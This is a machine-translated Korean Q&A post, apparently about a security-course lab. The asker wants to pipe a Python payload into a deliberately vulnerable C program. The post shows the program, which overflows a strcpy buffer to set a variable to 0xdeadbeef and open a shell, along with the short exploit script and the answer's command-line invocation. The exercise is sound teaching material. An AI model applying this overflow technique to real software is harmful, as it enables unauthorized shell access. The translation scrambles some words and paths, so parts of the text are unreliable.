나는 파이썬 파일의 표준 출력을 파이프하여 exploit1.py
C 실행 파일에 대한 명령줄 인수로 받아들일 수 있도록 하고 싶습니다 lab2C.c
. 내 목적은 char 버퍼를 오버플 lab2C.c
로하여 메모리가 int set_me
.
문제는 동일한 로컬 경로에 속하지 않는 두 개의 다른 디렉토리에 있다는 exploit1.py
것 입니다. 에 누워있다 . 파이프를 통해 stdout을 기본 기능 매개 변수로 받아들이는 방법은 무엇 입니까 ?lab2C.c
exploit1.py
/tmp
lab2C
lab2C.c
/levels/lab02
exploit1.py
lab2C
참고할 수 있는 두 가지 문서는 다음과 같습니다.
1.py 활용:
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
lab2C.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv){
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
답변1
C 프로그램은 표준 입력에서 읽지 않으므로 아무 것도 표준 입력으로 연결할 수 없습니다. 하지만 명령줄 인수가 필요하므로 다음과 같이 호출해야 합니다.
/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"
현재 에 있는 경우 /levels/lab02
다음과 같이 단축될 수 있습니다.
./lab2C.exe "$(python /tmp/exploit1.py)"
.exe
실행 파일에 접미사를 추가하는 것은 Unix에서는 일반적이지 않습니다. 또한 코드에 버그가 있고(버퍼 오버플로 및 헤더 누락) Python 코드의 문자열이 생각한 대로 작동하지 않습니다(슬래시는 아마도 백슬래시여야 합니다).